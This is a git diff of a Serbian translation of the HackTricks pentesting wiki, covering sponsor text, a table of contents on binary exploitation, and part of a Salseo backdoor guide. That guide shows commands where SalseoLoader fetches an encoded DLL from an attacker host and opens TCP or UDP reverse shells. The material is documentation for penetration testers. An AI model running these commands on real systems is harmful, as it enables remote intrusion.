Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 5.5 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 10 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 74 KiB |
61
README.md
|
@ -8,7 +8,7 @@ _Logotipi i dizajn pokreta Hacktricks-a od_ [_@ppiernacho_](https://www.instagra
|
|||
**Dobrodošli na wiki gde ćete pronaći svaki hakovan trik/tehniku/šta god sam naučio iz CTF-ova, aplikacija u stvarnom životu, čitanjem istraživanja i vesti.**
|
||||
{% endhint %}
|
||||
|
||||
Za početak pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treba da pratite prilikom pentesta** jedne ili više **mašina:**
|
||||
Za početak pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treba pratiti prilikom pentestinga** jedne ili više **mašina:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -20,11 +20,11 @@ Za početak pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treb
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HAKUJ NEHAKOVANO**. Sprovode sopstvena istraživanja i razvijaju sopstvene hakeračke alate kako bi ponudili nekoliko vrednih usluga sajber bezbednosti poput pentestinga, Crvenih timova i obuke.
|
||||
[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HAKUJ NEHAKOVANO**. Sprovode sopstvena istraživanja i razvijaju sopstvene alate za hakovanje kako bi ponudili nekoliko vrednih usluga sajber bezbednosti poput pentestinga, Crvenih timova i obuke.
|
||||
|
||||
Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** takođe podržava sajber bezbednosne projekte otvorenog koda poput HackTricks-a :)
|
||||
**STM Cyber** takođe podržava sajber bezbednosne projekte otvorenog koda poput HackTricks :)
|
||||
|
||||
***
|
||||
|
||||
|
@ -32,7 +32,7 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih stručnjaka u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -40,11 +40,11 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** je **broj 1** etička hakeračka platforma i **bug bounty platforma** u Evropi.
|
||||
**Intigriti** je **broj 1 u Evropi** za etičko hakovanje i **platforma za bug bounty.**
|
||||
|
||||
**Savet bug bounty-a**: **Prijavite se** za **Intigriti**, premium **bug bounty platformu kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -52,10 +52,10 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.
|
||||
|
||||
Pristupite danas:
|
||||
|
||||
|
@ -67,7 +67,7 @@ Pristupite danas:
|
|||
|
||||
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na bug bounty!
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bug bounty!
|
||||
|
||||
**Uvidi u hakovanje**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
|
@ -76,7 +76,7 @@ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
|||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovije najave**\
|
||||
Budite informisani o najnovijim bug bounty programima koji se pokreću i važnim ažuriranjima platforme
|
||||
Budite informisani o najnovijim bug bounty programima i važnim ažuriranjima platforme
|
||||
|
||||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
|
@ -84,14 +84,32 @@ Budite informisani o najnovijim bug bounty programima koji se pokreću i važnim
|
|||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Osnovni alat za testiranje penetracije
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Odmah dostupno podešavanje za procenu ranjivosti i testiranje penetracije**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - razvijamo prilagođene alate, detekciju i module za eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se.
|
||||
**Odmah dostupno podešavanje za procenu ranjivosti i testiranje penetracije**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - razvijamo prilagođene alate, detekciju i module za eksploataciju kako bismo im omogućili više vremena za dublje kopanje, otvaranje školjki i zabavu.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi nudi brze i jednostavne API-je u realnom vremenu za **pristup rezultatima pretrage na internetu**. Oni skeniraju pretraživače, upravljaju proxy-jima, rešavaju captcha-e i parsiraju sve bogate strukturisane podatke za vas.
|
||||
|
||||
Pretplata na jedan od planova SerpApi uključuje pristup preko 50 različitih API-ja za skeniranje različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.
|
||||
|
||||
Za razliku od drugih pružalaca, SerpApi ne skenira samo organske rezultate. Odgovori SerpApi-a uvek uključuju sve oglase, inline slike i video zapise, grafove znanja i druge elemente i funkcije prisutne u rezultatima pretrage.
|
||||
|
||||
Trenutni klijenti SerpApi-a uključuju Apple, Shopify i GrubHub.
|
||||
|
||||
Za više informacija pogledajte njihov [blog](https://serpapi.com/blog/)**,** ili probajte primer u njihovom [**igralištu**](https://serpapi.com/playground)**.**
|
||||
|
||||
Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -104,17 +122,16 @@ Budite informisani o najnovijim bug bounty programima koji se pokreću i važnim
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** poslovanja **širom sveta** od najnovijih sajber bezbednosnih pretnji pružajući **ofanzivne bezbednosne usluge** sa **modernim** pristupom.
|
||||
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštitu** poslovanja **širom sveta** od najnovijih sajber bezbednosnih pretnji pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
|
||||
|
||||
WebSec je **sve-u-jednoj bezbednosnoj kompaniji** što znači da rade sve; Pentesting, **Bezbednosne** Revizije, Obuke o svesti, Kampanje za ribarenje, Pregled koda, Razvoj eksploatacije, Outsourcing bezbednosnih eksperata i mnogo toga.
|
||||
WebSec je **kompanija za sveobuhvatnu bezbednost** što znači da rade sve; Pentesting, **bezbednosne** provere, obuke o svesti, kampanje ribarenja, pregled koda, razvoj eksploatacije, outsourcing bezbednosnih stručnjaka i mnogo više.
|
||||
|
||||
Još jedna cool stvar o WebSec-u je što, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuju najbolje kvalitetne rezultate**, piše na njihovom sajtu "**Ako ne možemo da hakuujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
Još jedna cool stvar u vezi sa WebSec-om je što, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, piše na njihovom sajtu "**Ako ne možemo da hakuujemo, ne plaćate!**". Za više informacija pogledajte njihovu [**veb stranicu**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Pored navedenog, WebSec je takođe **posvećeni podržavalac HackTricks-a.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
## Licenca i Odricanje od odgovornosti
|
||||
## Licenca i Izjava o odricanju odgovornosti
|
||||
|
||||
**Proverite ih u:**
|
||||
|
||||
|
@ -128,10 +145,10 @@ Pored navedenog, WebSec je takođe **posvećeni podržavalac HackTricks-a.**
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF-u** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
20
SUMMARY.md
|
@ -695,20 +695,26 @@
|
|||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
|
||||
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
||||
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
|
||||
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
||||
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
|
||||
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
|
||||
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,13 +16,13 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
## Kompajliranje binarnih fajlova
|
||||
|
||||
Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Trebaće vam instaliran **Visual Studio** za kompajliranje koda.
|
||||
Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Trebaće vam **Visual Studio** instaliran da biste kompajlirali kod.
|
||||
|
||||
Kompajlirajte ove projekte za arhitekturu Windows sistema na kojem ćete ih koristiti (ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
|
||||
Kompajlirajte ove projekte za arhitekturu Windows sistema na kojem ćete ih koristiti (Ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
|
||||
|
||||
Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" Tab-u** u **"Platform Target".**
|
||||
|
||||
(\*\*Ako ne možete pronaći ove opcije, kliknite na **"Project Tab"** a zatim na **"\<Project Name> Properties"**)
|
||||
(\*\*Ako ne možete pronaći ove opcije, pritisnite na **"Project Tab"** a zatim na **"\<Project Name> Properties"**)
|
||||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
|
@ -32,7 +32,7 @@ Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se po
|
|||
|
||||
## Priprema Backdoor-a
|
||||
|
||||
Prvo, moraćete da enkodujete **EvilSalsa.dll.** Za to možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**:
|
||||
Prvo, trebaće vam da enkodujete **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -52,13 +52,13 @@ Sada imate sve što vam je potrebno da izvršite ceo Salseo postupak: **enkodira
|
|||
|
||||
### **Dobijanje TCP reverznog shell-a (preuzimanje enkodiranog dll-a putem HTTP-a)**
|
||||
|
||||
Zapamtite da pokrenete nc kao osluškivač reverznog shella i HTTP server kako biste poslužili enkodirani evilsalsa.
|
||||
Zapamtite da pokrenete nc kao osluškivač reverznog shella i HTTP server da poslužuje enkodirani evilsalsa.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Dobijanje UDP obrnutog školjka (preuzimanje enkodiranog dll-a putem SMB-a)**
|
||||
### **Dobijanje UDP obrnutog školjka (preuzimanje enkodovanog dll-a preko SMB-a)**
|
||||
|
||||
Zapamtite da pokrenete nc kao osluškivač obrnutog školjka, i SMB server da posluži enkodirani evilsalsa (impacket-smbserver).
|
||||
Zapamtite da treba pokrenuti nc kao osluškivač obrnutog školjka, i SMB server da služi enkodovani evilsalsa (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
|
@ -87,23 +87,23 @@ Otvorite projekat SalseoLoader koristeći Visual Studio.
|
|||
|
||||
### Dodajte pre glavne funkcije: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Instalirajte DllExport za ovaj projekat
|
||||
|
||||
#### **Alati** --> **NuGet Package Manager** --> **Upravljanje NuGet paketima za rešenje...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Pretražite DllExport paket (koristeći karticu Browse), i pritisnite Instaliraj (i prihvatite iskačući prozor)**
|
||||
#### **Pretražite DllExport paket (koristeći karticu Pretraži) i pritisnite Instaliraj (i prihvatite iskačući prozor)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
U vašem projekt folderu pojaviće se fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
|
||||
U vašem projekt folderu pojavili su se fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
|
||||
|
||||
### **De**instalirajte DllExport
|
||||
|
||||
Pritisnite **Deinstaliraj** (da, čudno je ali verujte mi, neophodno je)
|
||||
Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, neophodno je)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
|
@ -113,7 +113,7 @@ Jednostavno **izađite** iz Visual Studio-a
|
|||
|
||||
Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat**
|
||||
|
||||
Izaberite **x64** (ako ćete ga koristiti unutar x64 okruženja, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni**
|
||||
Izaberite **x64** (ako ćete ga koristiti unutar x64 okvira, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni**
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -175,7 +175,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -8,51 +8,51 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
